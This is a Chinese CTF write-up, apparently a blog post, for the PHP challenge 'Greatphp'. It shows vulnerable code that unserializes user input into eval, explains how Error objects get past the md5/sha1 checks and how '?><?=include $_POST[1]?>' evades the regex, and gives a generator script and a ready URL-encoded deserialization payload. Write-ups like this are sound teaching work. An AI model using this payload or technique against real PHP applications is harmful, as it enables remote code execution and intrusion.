本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [TOC]
[极客大挑战 2020]Greatphp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 
 | <?phperror_reporting(0);
 class SYCLOVER {
 public $syc;
 public $lover;
 
 public function __wakeup(){
 if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
 if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
 eval($this->syc);
 } else {
 die("Try Hard !!");
 }
 
 }
 }
 }
 
 if (isset($_GET['great'])){
 unserialize($_GET['great']);
 } else {
 highlight_file(__FILE__);
 }
 
 ?>
 
 | 
分析一下知道这是反序列化的题
| 1
 | if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )
 | 
这里需要使md5、sha1值相等,但是两个变量不同
如果是普通变量的话,我们可以选择数组进行绕过。但这里是在类中,我们不能这么做
我们需要知道,md5()、sha1()函数可以触发类的__toString() 方法,这是重点
因此,我们只需要让对象的__toString()返回值相等即可绕过
这里要用到php内置类 : Error、Exception。这两个类都带有__toString()方法
 
我们测试一下:
| 12
 3
 4
 5
 6
 
 | <?php
 $a = new Exception("A");
 $b = new Exception("B");
 echo $a.PHP_EOL.PHP_EOL;
 echo $b;
 
 | 

发现只有两个地方不同:A、B 和 5、6
A、B我们可以控制传入相同的payload让其相等,但是5、6是什么意思呢—–行号
我们只需要将定义两个异常类对象写在一行即可:

这样乍一看是相等了,但是我们要注意,这样两个对象是相等的:

我们需要了解一下Exception 构造方法的形参有一个异常代码
 
当我们设置的值不同时,对象也就不同了
 
由此,我们突破了第一重限制,接下来分析:
| 12
 3
 
 | if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){eval($this->syc);
 }
 
 | 
如果我们的 $this->syc 是一个Exception对象的话,由于进行了正则匹配,所以也会触发 __toString()方法
我们不能让payload存在 <?php 、() " '
但是此时php版本是7,不能用 : <script language="php"></script> 写法
我们可以用:<?= ?> 的格式
这个格式隐含echo, <?=1?> 就相当于echo 1
 
把小括号()过滤了,不能调用函数了,
但是我们可以使用 include 这种不需要括号也能调用的
于是我们可以:
| 1
 | ?><?=include $_POST[1]?>
 | 
构造:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | <?phpclass SYCLOVER {
 public $syc;
 public $lover;
 
 public function __construct($syc,$lover) {
 $this->syc = $syc;
 $this->lover = $lover;
 }
 
 }
 $str = '?><?=include $_POST[1]?>';
 $syc = new Error($str,1);$lover = new Error($str,2);
 $s = new SYCLOVER($syc,$lover);
 echo urlencode(serialize($s));
 
 O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A24%3A%22%3F%3E%3C%3F%3Dinclude+%24_POST%5B1%5D%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A87%3A%22D%3A%5CApplications%5CCTF%5Cphpstudy_pro%5CWWW%5CCTF%5Cbuuctf%5Cweb4%5C%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98+2020%5DGreatphp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A24%3A%22%3F%3E%3C%3F%3Dinclude+%24_POST%5B1%5D%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A87%3A%22D%3A%5CApplications%5CCTF%5Cphpstudy_pro%5CWWW%5CCTF%5Cbuuctf%5Cweb4%5C%5B%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98+2020%5DGreatphp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
 
 | 
